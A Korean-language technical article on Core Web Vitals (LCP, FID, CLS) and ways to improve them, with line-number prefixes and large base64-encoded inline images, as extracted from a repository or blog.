EDrFkJx2Nv8Q4ysfbCjXyik1uU/T9TguJZKgVq4vd2J80SMTj6AZMUupmeRRYCWbUrVSLHnw/X/MboSrWyRe7dzbt2mDFkxAeekG6H9ch7eAS5xMEooCSVckLBLSSwA/gAb4veLIRZPi05Kf5UKibXH3gZ6bV+dGinKBwec5sPFQlgRYD+g3WGMhV5uyF0uAPCAaDFlsAHs0pG7ZZ9uaNlAltyGm8Fpda+rTYDB+mpbPU3mhvDnFJ3bizQ81BP3KJG+6QubNvGetQ64aHfOvDXbHZSIMWPs3FnnASTMv3u7fzy3CpXsA3Y/Hr6Y0Q+EYBen33tUBhUbQl5XjcWlw2fdZi3WaL7Qes69stVmf+fpM1bpr+ZTNgQZO1+IKm4DWvuNviJ/xL1txnrKvrXf8GHvDmfNk9ZDvQNDjxYRbUk/vZsTAAx4lEaScR0I2uLQBZ8v1BJu2FuZyP2GJ6OGPzkxlrtMfN2y14/mTB9F/eDM8HbDmYDli7s/QXJ796o8FJc7YzWm6PuwM2a8wA4O4IUGGD9oRNWpPD9tDf3iXmk9RCg28y05h1B+NgcbI/34af+gd/NGh36Z8p2x8Od0Zw9j1AOAHumLBBozk96TbHrKvuHxrc8H9HDVYPPhxOTybv/dsmNOI9m822WrPb5f64dcLGy8ViBGgF/BV1J4tBc4cdzobT+Tm7CJo3zdsBMOV03LDZ7mA0b55f7hy2dgaJ51i0U52WGKLgHMCnIELhnf0FmK3563S5bOvDARtMlu1ft4Pd2SUxw7QLHtJvIzaZz8ZstwscPB40XgcXwXKkv/b1neDXKZvMEMnz2eCEtbqd5qAxmPjv/YG6RVNjp3PTmk1aO/7+btdv7vq2DbXcNPdP/HpweeO/h/flf/AJye601Wmddw+XrDXrsNtgoDJnsINI7rO6v6ODKLeb54H/AZAcjkfzYJc1xqzT3fbfD8ZTgWRrPNhh00s457NxqxMEt2wXRagx+OBv690pCAo04EI8QExCOJ76/SGTc6MuDWP89pczFnQa49lsziaH7HAynA4nzWC+7S/2Afb5IVcwQ9YaAVqj7uwvrD0YToAXWiP+uB3/1xGbCySXS7vbbrS7gGSD3frQ87T+a4xBowKSC75i+DDgG6ACkjt+s+1fwFHzApAEHAhJ/lKHk8vDxmAOSM4OOxmuwWjQPAwWw2bdf+0vF+y82W40PrA6VHQ4D3Z8QHL5Ych2lssml+79/eZut3vBGrsL1l4GN0Fnv7HNOlzbLC6BO2787rR5DgzO6peUEamLbRMzLKBLIxjxgNtvN+2t5fZsazY7ZN5oupgH24sRm853gsnJpec57fbW2L893L4EXXjSamzv73fGc73OQGxuB3bdD+qDHf4W4ARUur81+9BaNICdL4JhW1nYtuS2YDjfH7PGaLHA/bD8OvwH3HmzmC6gxq0B+3DI9WT7dmT7nUWbLRrjweENYJu5TdFwOvGD8XDgD/QuKKagC8dswSbjyZLNJ5dDpi981gSJ5vtTDxbL1mgCgnvRYv7huMug9CE0BYSgtQAdMfCbk2AOf6ChAsK8ND0tRJKTh5PewS+/NHX/Eoxq4PR+a7UbTL8EhPmC1kv8SGOTa2v4GQTcjIJ29+EE6OymBpqbN7DJ7+X2m5vgoBn4/D/WhDvlr0qgkublGL/Ol84yXiWvqsn0ILiwoS69CZd4/fBUlDn+XB/+hUK3G9t31h8VLfN+Q+Ka54jZNDJuctdHFLFlJx2Z1HD/exLaVYt88rg6S/nIU5GTroy4FXqI8Ar8FZtG2/NGcYH7ULZfJRzy3G+50AWL8gOEdtTRcZScdJ04VUrrVZY+yTtrOGk3WwlKZeCU6Ql1wiKn7f8pou7kf1GILntodgSSoskuekG6Juf/xeyJHZXiRD3Njbqye60EnNIeNWFdRvnbgiieLlrovP38179mlCL51MmbjHICdcdGuY68IJRa24zzhLz02hJHWVsiMZUixgXfSciYjv/GnwuX3vrf/v6vf/zjn/+kuaMhKmmfGejCesIVSqozly/vNmMNabi00ikuZEpjQTQ2J41MpL8TzCyNh/pIVfqNRCsETPrBj208Mj250DdcY6rGp/rvv//+93/964yHSs154E/m3a35L3M2m0+CN/O5qsZJOVq0SNnGKYiIPQ1kXycOsJV8gsQXl8OjEDy+8hmqiMHzXP6LwNNkhPF0xl4x35Ssv9nu77+zYMEWwfyXvzT8YORrIzYGxwrcjUHCo9OBCyQzY6KIS9nSZnrpk4wk5bvasjGnNxCBB0gS52kiVU7iPHhhEcI6lVFSjL81HXv/87//ZxhTdsKGv4BPaYPzu2BjnU3ZeDERrgP5l3wex402b3AkUGkhnichSUOV8WS57aXtjhhxsz2UWi0JnmUwR4vZU/dMxNumqvH8d7aIQq8y49//Ni1nCS71JBiAptyCgBKRDAZsSUiC5dYxH98E1uKzDx5wjSE56RoeyvkESlallIyZGO5F/hKjxbGSNOyqYFW+fVjIqsIhcyM5/46IT1bt3fGjJR/NmoHP2R2wIZtAxMxmi8WvGrk0yFChBtTJJ5fmE00pbQ3dGFsaqlR8ckmTCvDolYT6DwfeBXhVPi2cUJLQmJBVvwuqSk3pZV3H3usEIXQx5KIqDUziqBon2+PMl8gnoI0eJGMueUEk0HFyIDB2yjwL7RErSduO5Bxekh6y6oN6vxlaayt44QPZitfCuVGOE01SnPG2dYbMnhjMOLGTXk355LbX66UsDPGrQ0IvlGQInu7ospx/MxKMsOJtioA5K8eck8uHLQwEuMrVnevGM2IWOiaeKTvpyafJTjrPKkJbE5lnNxLbKnmPCfZMadJvSSu3gievN+99U7gbmxkHMbRi9qy66Z34PTNeYUtcK8UkYN0tyTxXNUKSlKQnWRiJPQ3phm9Bq5ayVkVST2GOOdd/xIOigEleEOUEc4QAyYg9DSysx2EIsHHqDQErRrhUJQvDcG9lM+Q8R3iPmJ0tCn2vW4zZK7aCdyh0MXEiB5nGc009RBLJxAlby5Sd9CTj6F7cf7HZUDXCxdEcOQB0gAXN0JMUppo8ye9BSWaSGJbI3Qoep7LB6vC223E87XHliP6kOMHlOlKAKMaa5E9S1+V1zGJ+KAKvGoq5xkfcEuaZ+5oJOf/mSjJJIk2/mseG1G2LJNLzUNuRnuTgcyC5MRCTtwYa89hJR1AtyZinvSACRug/vCbYE8ALj2LwuE2Kw+1vqCRTJNL8Vqbp45o6D9WWLQ/Mcm4knqSS5FpK3o0neUF8CC4xvavF5cc4q3AAAABfSURBVMh4uD1aShorSceLOM9w5IjxO1OSq77s66BMVYV5yPgsLXpBlGbFx9uqbhyI2zg848Qa0jbTQ5Ve5J/apP8o3iaIyAmQwHO0hJxLztA3pVV7hxiiuaTzc0pb/w+K0b2hoan/QgAAAABJRU5ErkJggg==) 30 | 31 | - LCP (최대 콘텐츠 풀 페인트) 32 | - FID (최초 입력 지연) 33 | - CLS (누적 레이아웃 이동) 34 | 35 | 그리고 다음 두 지표는 특정 문제를 판단하는데 사용될 수 있다. 36 | 37 | - 최초 바이트까지의 시간(Time To First Byte) 38 | - 최초 콘텐츠풀 시간(First Contentful Paint) 39 | 40 | 이러한 지표를 하나씩 알아보자! 41 | 42 | ## LCP(최대 콘텐츠풀 페인트) 43 | 44 | 최대 콘텐츠풀 페인트(LCP)는 페이지가 처음으로 로드를 시작한 시점부터 뷰포트에서 가장 큰 이미지, 텍스트를 렌더링하는데 걸리는 시간을 의미한다. 45 | 46 | 사용자에게 노출되는 영역은 기기에 의존하므로 뷰포트는 상황마다 다르다. 모바일의 뷰포트는 PC에 비해 작을 것이다. 그리고 이 뷰포트 내부의 큰 이미자나 텍스트는 다음으로 정의할 수 있다. 47 | 48 | - img태그 49 | - svg내부의 image 50 | - video태그 51 | - url을 통해 배경 이미지가 등록되어 있는 요소 52 | - 텍스트와 같이 인라인 텍스트를 포함하는 모든 요소 (p태그,div태그 등) 53 | 54 | LCP는 사용자의 기기가 노출하는 뷰포트 내부에서 가장 큰 영역을 차지하는 요소가 렌더링되는데 얼마나 오래 걸리는지를 측정한 것이다. 실제 크기가 아무리 크다고 해도 뷰포트 영역 밖에 넘치는 요소가 있다면 해당 요소는 고려하지 않는다. 55 | 56 | 그럼 이 기준을 어떻게 잡을 수 있을까? 가장 먼저 DOMContentLoaded 이벤트를 생각할 수 있다. 57 | 58 | 이 DOMContentLoaded이벤트는 HTML문서를 완전히 불러온 후 발생하는 이벤트로 단 한번만 호출된다. 그러나 DOMContentLoaded이벤트는 스타일시트,이미지,하위 프레임의 로딩은 기다리지 않는다. 59 | 60 | 그러면 페이지가 어느정도 로딩되었다고 인지하는 시점은 언제일까? 사용자가 페이지 로딩을 체감하기 위해 페이지가 반드시 완전하게 로딩될 필요는 없다. 사용자에 있어 로딩이란 일단 뷰포트 내부를 기준으로 판단할 것이므로 뷰포트에 메인 콘텐트가 화면에 완전히 전달되는 속도를 기준으로 한다면 로딩이 완료되었다고 판단하는 시간과 유사하게 측정할 수 있다. 61 | 62 | 최대 콘텐츠풀 페인트에서 좋은 점수는 해당 지표가 2.5초 이내로 응답이 오는 것이다. 63 | 64 | ### LCP의 개선 65 | 66 | LCP를 개선하는 확실한 방법은 뷰포트 최대 영역에 이미지가 아닌 문자열을 넣는것이다. 제아무리 이미지를 최적화 하더라도, 추가적인 리소스 다운로드가 필요한 이미지보다 텍스트 노출이 훨씬 더 빠르다. 67 | 68 | 이미지를 불러오는 방법은 다음과 같은 방법이 존재한다. 69 | 70 | ```ts 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 |
    80 | ``` 81 | 82 | 이때 불러오는 방법에는 차이가 존재한다. 83 | 84 | - img : 이미지는 브라우저의 프리로드 스캐너에 의해 가장 먼저 발견되어 요청을 발생시킨다. img는 HTML파싱이 완료되지 않더라도 프리로드 스캐너가 병렬적으로 리소스를 다운로드 한다. 이는 picture태그도 마찬가지이다. 85 | 86 | - svg 내부의 img : 모든 리소스를 불러온 이후 이미지를 불러온다. 이는 img태그와 다른 부분이다. 이는 결국 최대 콘텐츠풀 페인트 점수에 악영향을 줄 수 있다. 87 | 88 | - video의 poster : poster는 사용자가 vidoe요소를 재생하거나 탐색하기 전까지 노출되는 요소다. 마찬가지로 프리로드 스캐너에 발견되어 img와 같은 성능을 나타낸다. 89 | 90 | - background-image-url() : background-image를 비롯해 CSS에 있는 리소스는 항상 느리다. 이런 리소스는 브라우저가 해당 리소스를 필요로 하는 DOM을 그릴 때까지 리소스 요청을 뒤로 미루기 떄문이다. 따라서 최대 콘텐츠풀 페인트 점수에도 악영향을 줄 수 있다. 91 | 92 | 이미지는 또한 무손실 형식으로 압축해 최소한의 용량으로 서비스하는 것이 좋다. 93 | 94 | 만약 fadeIn ease 10s와 같이 처리했다면 이미지가 그냥 뜨는 것보다 늦어지게 되고, 최대 콘텐츠 풀 페인트도 그만큼 뒤로 늦어진다. 95 | 96 | 최대 콘텐츠풀 리소스는 같은 도메인에서 직접 호스팅 하는 것이 좋다. 일반적인 경우 Cloudinary와 같은 이미지 최적화 서비스를 통해 이미지에 대한 크기를 줄이고, 포맷도 변환하고 압축해서 이미지를 관리하지만, 다른 출처에서 이렇게 정제한 이미지를 가져오는 것은 최적화에 별로 좋은 영향을 주지 않는다. 이미 연결이 맺어진 현재 출처와는 다르게 새로운 출처의 경우 네트워크 커넥션부터 다시 수행해야 하기 떄문이다. 97 | 98 | ## FID (최초 입력 지연) 99 | 100 | 수강신청이나 콘서트 표 예매 등과 같은 순간적으로 트래픽 때문에 웹사이트가 클릭이나 타이핑이 되지 않아 작업을 못한 적이 있을 것이다. 101 | 웹페이지의 로딩만큼 중요한 것이 웹 사이트의 반응 속도이고 웹사이트의 반응성을 측정하는 지표가 바로 최초 입력 지연이다. 102 | 103 | 정의는 다음과 같다. 104 | 105 | ```ts 106 | 사용자가 페이지와 처음 상호 작용할 때 107 | 해당 상호작용의 응답으로 브라우저가 실제 이벤트 핸들러를 시작하기까지의 시간 108 | ``` 109 | 최초 입력 지연은 사용자가 얼마나 빠르게 웹패이지와 상호작용에 대한 응답을 받으르 수 있는지 측정하는 지표이다. 110 | 111 | 웹 페이지 내부의 이벤트가 반응이 늦어지는 이유는 무엇일까? 그 이유는 해당 입력을 처리해야 하는 메인 스레드가 바쁘기 떄문이다. 메인 스레드는 대규모 렌더링이 일어나거나 대규모 자바스크립트 파일을 분석하고 실행하는 등 다른 작업을 처리하는데 리소스를 할애하기 떄문에 바쁠 수 있고, 아 경우 자바스크립트가 이벤트 리스너와 같은 다른 작업을 실행할 수 없어 지연이 발생한다. 112 | 113 | 한가지 더 최초 입력 지연을 이해하기 위해 알아야 하는 것은 사용자의 입력이다. 이 최초 입력에 해당하는 내용에는 어떤 것이 있을까? 114 | 타이핑, 클릭, 스크롤 등 많지만, 최초 입력 지연에는 다양한 이벤트 중 클릭, 터치, 타이핑 등 사용자의 개발 입력 작업에 초점을 맞춘다. 115 | 116 | 최초 입력 지연의 좋은 점수를 얻기 위해서는 100ms 이내로 응답이 와야 하며, 300ms이내인 경우 보통 그 이후는 나쁨으로 처리된다. 117 | 118 | ## FID 개선 방안 119 | 120 | 최초 입력 지연을 개선하려면 메인스레드에 이벤트를 실행할 여유를 줘야 한다. 121 | 122 | 긴 작업(메인 스레드에서 오래 처리되어야만 하는 작업)이 있다면 여러 작업으로 분리를 하는 것이 좋다. 작업을 분리하는 것은 실행이 오래 걸릴 것 같은 작업을 분리하는 것 뿐 아니라, 최초 로딩에 필요하지 않은 내용을 나중에 불러오는 것도 포함된다. 123 | 124 | 사용자의 액션으로 나중에 노출되는 요소들은 당장 로딩에 필요하지 않은 리소스이다. Suspense,Lazy, Next의 dynamic을 통해 나중에 불러오게 할 수 있다. 125 | 126 | 번들러가 어느정도 필요없는 자바스크립트 코드를 줄여준다 하더라도, 웹 페이지를 불러오는 데 사용되지 않는 필요 없는 코드가 존재 가능하다.이런 코드들은 앞서 언급한 지연 로딩, 우선순위를 낮추는 등의 작업으로 불러오는 것이 좋다. 127 | 128 | Google Analytics나 firebase등과 같이 웹 페이지의 통계를 위해 타사 스크립트를 집어넣는 경우 , 메인 스레드의 사용이 잠시 점유될 수 있다. 129 | 따라서 script의 async나 defer속성을 사용하는 것이 좋다. 130 | 131 | ## 누적 레이아웃 이동(CLS) 132 | 133 | 웹페이지에서 로딩이 끝난 줄 알고 무언가를 클릭하려 할 때 그 사이 다른 요소가 로딩되면서 원래 클릭하려던 것이 사라지는 경험이 있을 것이다. 134 | 135 | ![](data:image/jpeg;base64,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) 136 | 137 | 이처럼 페이지의 생명주기 동안 발생하는 모든 예기치 않은 이동에 대한 지표를 개산하는 것이 바로 누적 레이아웃 이동이다. 이 지표가 낮으면 낮을수록 사용자가 겪는 예상치 못한 레이아웃 이동이 적을수록 , 더 좋은 웹 사이트이다. 138 | 139 | 누적 레이아웃 이동은 가시적인 콘텐츠에 영향을 미쳐야 하기 때문에 뷰포트 내부의 요소에 대해서만 측정한다. 최초 렌더링이 시작된 위치에서 레이아웃 이동이 발생한다면 누적 레이아웃 이동 점수로 기록된다. 140 | 141 | 요소가 추가되었다 하더라도 다른 요소의 시작 위치에 영향을 미치지 않는다면 레이아웃 이동으로 간주되지 않는다. 또한 사용자의 액션으로 인해 발생한 레이아웃 이동은 점수에 포함되지 않는다. 142 | 143 | 누적 레이아웃 이동의 경우 0.1이하인 경우 좋음 0.25 이하인 경우 보통이며 그 외에는 개선이 필요한 나쁜 점수로 보고된다. 144 | ![](https://wit.nts-corp.com/wp-content/uploads/2020/12/02.png) 145 | 146 | ## CLS 개선 방안 147 | 148 | 누적 레이아웃 이동은 클라이언트에서 삽입되는 동적인 요소로 인해 발생한다. 여기에는 갑자기 요소의 크기가 바뀌거나 뒤늦게 광고와 같은 라이브러리가 브라우저에서 로드되는 등의 작업 때문에 나타난다. 149 | 150 | 이런 작업을 방지하기 위해 useEffect 내부에서 요소에 영향을 미치는 작업을 최소화 하는 것이 좋다. 스켈레톤 UI처럼 미치 무언가 동적으로 뜰 것 같은 공간을 확보하는 것도 좋은 방법이다. 레이아웃 이동을 막이면서 클라이언트 시점에 정해지는 콘텐트를 안정적으로 보여줄 수 있으므로 추천할 만한 방법이다. 151 | 152 | 여기에 가장 좋은 방법은 서버 사이드 렌더링이다. 서버에서 이런 동적인 요소를 사전에 판단해 HTML에 제공해준다면 클라이언트는 깔끔하게 처리할 수 있다. 153 | 154 | 기존 콘텐츠 상단에 추가하는 것은 지양한다. 155 | 156 | 사용자와 상호작용을 제외하고 콘텐츠를 기존 콘텐츠의 상단에 추가해서 레이아웃이 변경되는 것은 피하는 것이 좋다. 단, 사용자 입력 후 500ms 이내에 발생하는 레이아웃 이동은 CLS에 포함되지 않는다. 157 | 158 | - 애니메이션의 경우 transform을 사용한다. 159 | width, height를 조정하지않고 css transform 속성을 사용해 효과를 주는것이 성능에도 이득이고 사용자 경험에도 좋다. 160 | 161 | - 웹폰트의 경우 162 | FOIT(font of invisible text: 브라우저가 웹폰트를 다운로드하기 전에 텍스트가 보이지 않는 현상)와 FOUT(font of unstyled text: 웹폰트가 뒤늦게 로딩되면서 시스템 폰트가 갑자기 웹폰트로 바뀌는 현상)를 줄이는 것이 핵심이다. 163 | 164 | - 비슷한 폰트 사용하기 165 | 166 | 자간, 줄간격, 폰트 자체의 사이즈 등이 달라지면서 콘텐츠가 떨어질 수 있다. 폰트가 가진 외적 특성이 비슷한 대체 글꼴 사용하면 이러한 현상을 줄일 수 있다. 167 | 168 | ```ts 169 | /* before */ 170 | font-family: 'font-example', sans-serif; 171 | 172 | /* after */ 173 | font-family: 'font-example', font-example 폰트를 대체할 폰트, sans-serif; 174 | ``` 175 